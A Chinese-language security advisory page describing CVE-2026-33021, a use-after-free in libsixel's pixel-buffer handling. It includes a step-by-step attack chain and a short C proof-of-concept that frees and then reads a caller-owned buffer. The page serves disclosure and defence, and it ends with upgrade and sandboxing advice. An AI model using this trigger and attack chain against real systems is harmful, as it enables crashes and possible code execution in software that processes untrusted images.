IPBUF安全漏洞报告
English
CVE-2026-33021 CVSS 7.3 高危

CVE-2026-33021 libsixel释放后重用漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-33021
漏洞类型
释放后重用 (UAF)
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libsixel

相关标签

UAF释放后重用代码执行libsixelCVE-2026-33021

漏洞概述

libsixel是源自kmiya的sixel的SIXEL编码/解码实现。在1.8.7及更早版本中,sixel_encoder_encode_bytes()函数存在释放后重用漏洞。漏洞成因是sixel_frame_init()直接存储了调用者拥有的像素缓冲区指针,当触发调整大小操作时,sixel_frame_convert_to_rgb888()无条件释放了该缓冲区,导致调用者持有的指针变为悬垂指针。攻击者可利用此漏洞造成可靠崩溃或潜在的代码执行。

技术细节

该漏洞主要源于 libsixel 对像素缓冲区指针的生命周期管理不当。在初始化阶段,sixel_frame_init() 函数直接保存了调用者传入的像素缓冲区指针到 frame->pixels 中,而未进行防御性的内存拷贝。当后续逻辑触发 resize 操作时,sixel_frame_convert_to_rgb888() 函数会无条件释放该调用者拥有的缓冲区,并用新的内部分配替换它。此时,原始调用者仍持有指向已释放内存的悬垂指针。任何后续对该缓冲区的访问都会构成释放后重用(UAF)。攻击者若能控制输入帧数据,即可反复且可预测地触发此 Bug,导致程序崩溃,且在特定条件下存在潜在的代码执行风险。

攻击链分析

STEP 1
步骤1
攻击者诱导应用程序使用 libsixel 处理特制的图像帧数据。
STEP 2
步骤2
libsixel 调用 sixel_frame_init 初始化帧,直接将调用者拥有的缓冲区指针存储在 frame->pixels 中。
STEP 3
步骤3
触发调整大小操作,调用 sixel_frame_convert_to_rgb888 函数。
STEP 4
步骤4
该函数无条件释放了调用者的原始缓冲区并分配新内存,导致原指针变为悬垂指针。
STEP 5
步骤5
程序后续访问该悬垂指针,触发释放后重用漏洞,导致崩溃或代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-33021 * Demonstrates Use-After-Free in libsixel <= 1.8.7 */ #include <stdio.h> #include <stdlib.h> #include "libsixel.h" int main() { sixel_encoder_t *encoder; // Allocate buffer owned by the caller unsigned char *caller_buffer = malloc(1024); sixel_frame_t *frame; sixel_encoder_new(&encoder, NULL); frame = sixel_frame_create(); // Vulnerability: sixel_frame_init stores caller_buffer directly // without making a defensive copy. sixel_frame_init(frame, caller_buffer, 100, 100); // Trigger resize operation // Vulnerability: sixel_frame_convert_to_rgb888 frees caller_buffer // and replaces frame->pixels. 'caller_buffer' is now dangling. sixel_frame_resize(frame, 200, 200); // Use-After-Free occurs here printf("Data: %d\n", caller_buffer[0]); free(caller_buffer); return 0; }

影响范围

libsixel <= 1.8.7

防御指南

临时缓解措施
建议立即升级到修复版本。若无法立即升级,应限制对 libsixel 处理不可信的图像数据,并在沙箱环境中运行相关应用程序以限制潜在的代码执行影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表